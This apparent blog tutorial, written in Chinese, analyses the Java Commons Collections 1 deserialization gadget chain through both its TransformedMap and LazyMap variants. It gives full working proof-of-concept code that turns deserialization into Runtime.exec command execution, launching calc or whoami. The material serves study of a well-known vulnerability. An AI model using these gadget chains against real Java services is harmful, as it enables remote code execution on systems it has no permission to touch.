Java CC1

正式进入CC1的分析

环境安装

  • java 版本 < 8u71
  • CommonCollections<=3.2.1
  • 有 common-collentions 依赖

首先导入maven中的Common Collections,确保已经安装好mvn环境后,在pom.xml文件中 编写如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.example</groupId>
  <artifactId>my-maven-project</artifactId>
  <version>1.0-SNAPSHOT</version>

  <dependencies>
      <dependency>
          <groupId>commons-collections</groupId>
          <artifactId>commons-collections</artifactId>
          <version>3.2.1</version>
      </dependency>
  </dependencies>
</project>

运行 mvn clean install即可

jdk8u65:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

分析

首先来分析一下涉及到的接口和类

先给出p神的缩短版来方便理解

package org.vulhub.Ser;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
import java.util.HashMap;  
import java.util.Map;  
public class CommonCollections1 {  
  public static void main(String[] args) throws Exception {  
      Transformer[] transformers = new Transformer[]{  
              new ConstantTransformer(Runtime.getRuntime()),  
              new InvokerTransformer("exec", new Class[]{String.class},  
                      new Object[]  
                              {"C:\\Windows\\system32\\calc.exe"}),  
      };  
      Transformer transformerChain = new  
              ChainedTransformer(transformers);  
      Map innerMap = new HashMap();  
      Map outerMap = TransformedMap.decorate(innerMap, null,  
              transformerChain);  
      outerMap.put("test", "xxxx");  
  }  
}

TransformedMap

TransformedMap 是一个用于处理映射(Map)数据结构的功能类,通常与数据转换和处理有关。它允许使用一种变换函数对映射中的每个条目进行转换,从而生成一个新的映射或集合

该类会在一个元素被增删改的时候调用transformed方法,进行一个回调

在上面的demo可以看到

 Map outerMap = TransformedMap.decorate(innerMap, null,  
              transformerChain);

TransformedMap.decorate会对Map类的数据结构进行转化,该方法有3个参数

  • 第一个参数可以转化为Map对象
  • 第二个参数为Map对象内的key要经过的转化方法
  • 第三个参数为Map对象内的value要经过的转化方法

即对innerMap传入的数据进行转化为outerMap

Transformer接口类

package org.apache.commons.collections;

public interface Transformer {
  Object transform(Object var1);
}

这个接口类提供了一种对象转换方法 transform 接收一个对象对他进行一些操作之后然后输出。 该接口的重要实现类有:ConstantTransformerInvokerTransformerChainedTransformerTransformedMap 。 所以TransformedMap在转换Map的新元素时,就会调⽤transform⽅法

ConstantTransformer类

 public ConstantTransformer(Object constantToReturn) {
      this.iConstant = constantToReturn;
  }

  public Object transform(Object input) {
      return this.iConstant;
  }

实现Transformer接口的一个类.可以看到他的作用是在构造函数的时候传入一个对象,然后再在transform方法中将这个对象返回.无论接受什么对象都返会构造该实例时传入的iConstant

InvokerTransformer类

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
      this.iMethodName = methodName;
      this.iParamTypes = paramTypes;
      this.iArgs = args;
  }

  public Object transform(Object input) {
      if (input == null) {
          return null;
      } else {
          try {
              Class cls = input.getClass();
              Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
              return method.invoke(input, this.iArgs);
          } catch (NoSuchMethodException var5) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
          } catch (IllegalAccessException var6) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
          } catch (InvocationTargetException var7) {
              throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
          }
      }
  }
}

也是实现transformer接口的一个类,同时也是反序列化可以用来执行命令的关键原因 接着具体分析

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
  this.iMethodName = methodName;  
  this.iParamTypes = paramTypes;  
  this.iArgs = args;  
}

传入 三个参数,第一个为要执行的方法名,第二个为这个函数的参数类型,第三个为传给这个函数的参数列表.同时这三个参数都是可控的,意味着我们可以传入任意值

public Object transform(Object input) {  
  if (input == null) {  
      return null;  
  } else {  
      try {  
          //获取输入类的对象
          Class cls = input.getClass();  
          //通过输入的方法名和参数,获取指定的反射方法对象
          Method method = cls.getMethod(this.iMethodName, this.iParamTypes);  
          //反射调用指定的方法并返回方法调用结果
          return method.invoke(input, this.iArgs);  
      } catch (NoSuchMethodException var4) {  
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");  
      } catch (IllegalAccessException var5) {  
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
      } catch (InvocationTargetException var6) {  
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);  
      }  
  }  
}

这段直接回调了tansform方法并通过反射来执行了input对象的iMethodName方法,传入一个对象然后调用

ChainedTransformer类

 public ChainedTransformer(Transformer[] transformers) {
      this.iTransformers = transformers;
  }

  public Object transform(Object object) {
      for(int i = 0; i < this.iTransformers.length; ++i) {
          object = this.iTransformers[i].transform(object);
      }

      return object;
  }

可以看到,当传入的对象类型是一个数组时,是会开始循环读取这个数组。当每调用一个参数,就会执行一次 transform方法。并且,前一个回调返回的结果是后一个回调的参数的传入,这样一来就组成了一个链式结构。

介绍完几个重要的类和接口后,对p神的缩短版来简单分析一下

package org.vulhub.Ser;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
import java.util.HashMap;  
import java.util.Map;  
public class CommonCollections1 {  
  public static void main(String[] args) throws Exception {  
      Transformer[] transformers = new Transformer[]{  
              new ConstantTransformer(Runtime.getRuntime()),  
              new InvokerTransformer("exec", new Class[]{String.class},  
                      new Object[]  
                              {"C:\\Windows\\system32\\calc.exe"}),  
      };  
      Transformer transformerChain = new  
              ChainedTransformer(transformers);  
      Map innerMap = new HashMap();  
      Map outerMap = TransformedMap.decorate(innerMap, null,  
              transformerChain);  
      outerMap.put("test", "xxxx");  
  }  
}

触发点在最后的outerMap.put("test", "xxxx"); 当向Map中放入一个新的元素时会触发TransformerMap类(在上面的对应类可查看解释)

Transformer transformerChain = new ChainedTransformer(transformers);
这里的转换器包含了两个Transformer参数(对应上面new的Transformer[])
第一个是ConstantTransformer,直接返回Runtime对象,由于这个类中的transform方法不受参数的影响,返回值仍为Runtime.class
第二个是InvokerTransformer,依靠链式调用执行Runtime的exec方法,参数为我们想执行的命令

TransformedMap 链

在实际情况下,我们需要找到一个类,它的readOject()方法能有类似 outerMap.put()的操作

因为是用TransformedMap来串联链子,所以在这个类里面存在三个方法能够执行 ChainedTransformertransform 方法

checkSetValue

 protected Object checkSetValue(Object value) {
      return this.valueTransformer.transform(value);
  }

put

 public Object put(Object key, Object value) {
      key = this.transformKey(key);
      value = this.transformValue(value);
      return this.getMap().put(key, value);
  }

putAll

 public void putAll(Map mapToCopy) {
      mapToCopy = this.transformMap(mapToCopy);
      this.getMap().putAll(mapToCopy);
  }

所以下一步就是找能调用这三个方法的其中之一就行

在idea中通过ctrl+h即可搜索调用的方法

直接定位到 AbstractInputCheckedMapDecorator 类

AbstractInputCheckedMapDecorator

static class MapEntry extends AbstractMapEntryDecorator {
      private final AbstractInputCheckedMapDecorator parent;

      protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
          super(entry);
          this.parent = parent;
      }

      public Object setValue(Object value) {
          value = this.parent.checkSetValue(value);
          return super.entry.setValue(value);
      }
  }

可以看到 会自动调用checkSetValue 构造如下poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class test {
  public static void main(String[] args) throws Exception {
      String cmd ="whoami";
      Transformer[] transformers = new Transformer[]{
              new ConstantTransformer(Runtime.getRuntime()),
              new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}),
      };
      Transformer chainedTransformer = new ChainedTransformer(transformers);
      //创建map并添加键值对,否则无法进入下面的for循环
      HashMap map = new HashMap();
      map.put("Yuk1", "zy");
      Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
      //遍历Map元素,并调用setValue方法
      for (Object key : transformedMap.entrySet()) {
          Map.Entry entry = (Map.Entry) key;
          entry.setValue(1);
      }
      System.out.println(transformedMap);
      //打印出可以发现值被改变,Transformer链被调用
  }
}

接下来就是寻找setValue()如何执行了

AnnotationInvocationHandler.readObject

private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
          annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
          // Class is no longer an annotation type; time to punch out
          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) { // i.e. member still exists
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                      new AnnotationTypeMismatchExceptionProxy(
                          value.getClass() + "[" + value + "]").setMember(
                              annotationType.members().get(name)));
              }

直接看最后的for循环 和之前的调用方法类似 选择它来当作我们的调用类

需要注意的是因为 AnnotationInvocationHandler 是 API 内部类,我们不能够直接调用,而是需要反射来调用

Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      Object handler = constructor.newInstance(Target.class,lzmap);

最后的poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
  public static void main(String[] args) throws Exception {
      Transformer[] transformers = new Transformer[]{
              new ConstantTransformer(Runtime.getRuntime()),
              new InvokerTransformer("exec", new Class[]{String.class},
                      new Object[]
                              {"C:\\Windows\\system32\\calc.exe"}),
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap map = new HashMap();
      map.put("Yuk1", "zy");
      Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
      Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
      constructor.setAccessible(true);
      Object handler = constructor.newInstance(Target.class,transformedMap);

      ByteArrayOutputStream bao=new ByteArrayOutputStream();
      ObjectOutputStream oos=new ObjectOutputStream(bao);
      oos.writeObject(handler);
      oos.close();

      ByteArrayInputStream bai=new ByteArrayInputStream(bao.toByteArray());
      ObjectInputStream ois= new ObjectInputStream(bai);
      ois.readObject();
      ois.close();
  }
}
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
    ->TransformedMap.entrySet().iterator().next().setValue()
        ->TransformedMap.checkSetValue()
      ->TransformedMap.transform()
        ->ChainedTransformer.transform()
          ->ConstantTransformer.transform()
          ->InvokerTransformer.transform()
            ->Method.invoke()
              ->Class.getMethod()
          ->InvokerTransformer.transform()
            ->Method.invoke()
              ->Runtime.getRuntime()
          ->InvokerTransformer.transform()
            ->Method.invoke()
              ->Runtime.exec()

LazyMap 链

分析了TransformedMap 串联的链子,在ysoserial中是依靠LazyMap来串联链子的 调用栈如下

Gadget chain:
  ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
          Map(Proxy).entrySet()
              AnnotationInvocationHandler.invoke()
                  LazyMap.get()
                      ChainedTransformer.transform()
                          ConstantTransformer.transform()
                          InvokerTransformer.transform()
                              Method.invoke()
                                  Class.getMethod()
                          InvokerTransformer.transform()
                              Method.invoke()
                                  Runtime.getRuntime()
                          InvokerTransformer.transform()
                              Method.invoke()
                                  Runtime.exec()

直接来到LazyMap下调用transform的地方

public Object get(Object key) {
      if (!super.map.containsKey(key)) {
          Object value = this.factory.transform(key);
          super.map.put(key, value);
          return value;
      } else {
          return super.map.get(key);
      }
  }

可以看到这里直接对this.factory进行了transform,刚好可以拿来串链子 看到上面的factory的构造方法

public static Map decorate(Map map, Transformer factory) {
      return new LazyMap(map, factory);
  }
   
protected LazyMap(Map map, Factory factory) {
      super(map);
      if (factory == null) {
          throw new IllegalArgumentException("Factory must not be null");
      } else {
          this.factory = FactoryTransformer.getInstance(factory);
      }
  }

看到是protected,,所以我们需要通过 decorate 方法来进入构造方法

发现factory的参数是可空的,那么意味着只要控制其不为空,只要想办法去触发上面的get方法进而触发transfrom就可以串起链子了

先写一个demo来验证一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\system32\\calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
Map lazymap = LazyMap.decorate(map, chainedTransformer); //获取LazyMap的实例
lazymap.get("bar"); //get触发transform
}
}

可以成功弹出计算器

接着再往上就无法直接找到调用它的方法了,再ysoserial中是通过动态代理来实现调用的

动态代理的原理可以参考: https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984

AnnotationInvocationHandler.invoke

截取了部分关键代码

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

经分析,我们需要满足前两条 if 语句,才会触发 memberValues 对象get方法,否则会提前返回值

  • 第一个if我们调用方法的名字不为 equals即可绕过
  • 第二个if我们无参调用方法即可绕过

然后我们看一下invoke方法所属类的定义,如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
……
}

发现这个类接口了 InvocationHandler,代表该类可以作为动态代理的代理处理器,只要接口了InvocationHandler接口,就必须重写invoke方法,并且调用使用该代理处理器代理对象方法之前会自动执行该 invoke方法进而达到调用 LazyMap 的 get 方法

也就意味着只需要创建一个代理对象,通过反射让其代理为AnnotationInvocationHandler类作为处理器的代理对象,所以我们可以这么构造

Map pxmap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), (Class<?>[]) new Class[]{Map.class}, (InvocationHandler) handler);

接着看这个类,往下找到了readObject方法,其所用到的关键代码,还是和TransformedMap类所触发的cc链1中一样,为下面的for循环

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

可以看到for循环中的该语句可实现对memberValues变量中的方法实现无参调用

但是发现AnnotationInvocationHandler类是私有的,将我们反射获得的 AnnotationInvocationHandler 实例装入 proxy 中

接下来因为 Proxy 内无 writeObject 方法,无法直接序列化,所以我们再在外面包一层 AnnotationInvocationHandler

最终poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.util.*;
import java.lang.reflect.*;

public class test {

public static void main(String[] args) throws Exception {
String cmd="calc";
Transformer[] transformers =new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//创建map并添加键对值,否则下面的for循环无法成功进入
HashMap hsmap=new HashMap();
hsmap.put("value","test");
//装进TransformedMap实例
Map lzmap=LazyMap.decorate(hsmap,chainedTransformer);

Class aclass=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=aclass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class,lzmap);

Map pxmap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), (Class<?>[]) new Class[]{Map.class}, (InvocationHandler) handler);
handler=constructor.newInstance(Target.class,pxmap);

ByteArrayOutputStream bao=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bao);
oos.writeObject(handler);
oos.close();

ByteArrayInputStream bai=new ByteArrayInputStream(bao.toByteArray());
ObjectInputStream ois= new ObjectInputStream(bai);
ois.readObject();
ois.close();
}

}

总结一下,与之前transformedMap的不同之处在于,需要创建一个动态代理类,我们设置它是一个AnnotationInvocationHandler类生成的动态代理对象,在调用Map的所有方法,比如entrySet()方法时,会调用被代理的AnnotationInvocationHandler的invoke()方法,接着调用memberValues.get(member)后来到LazyMap.get(),执行完这句Object value = this.factory.transform(key);成功调用transform

:jdk8u71 及以后的版本没有了能调用 readobject 中 setValue() 方法的地方。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇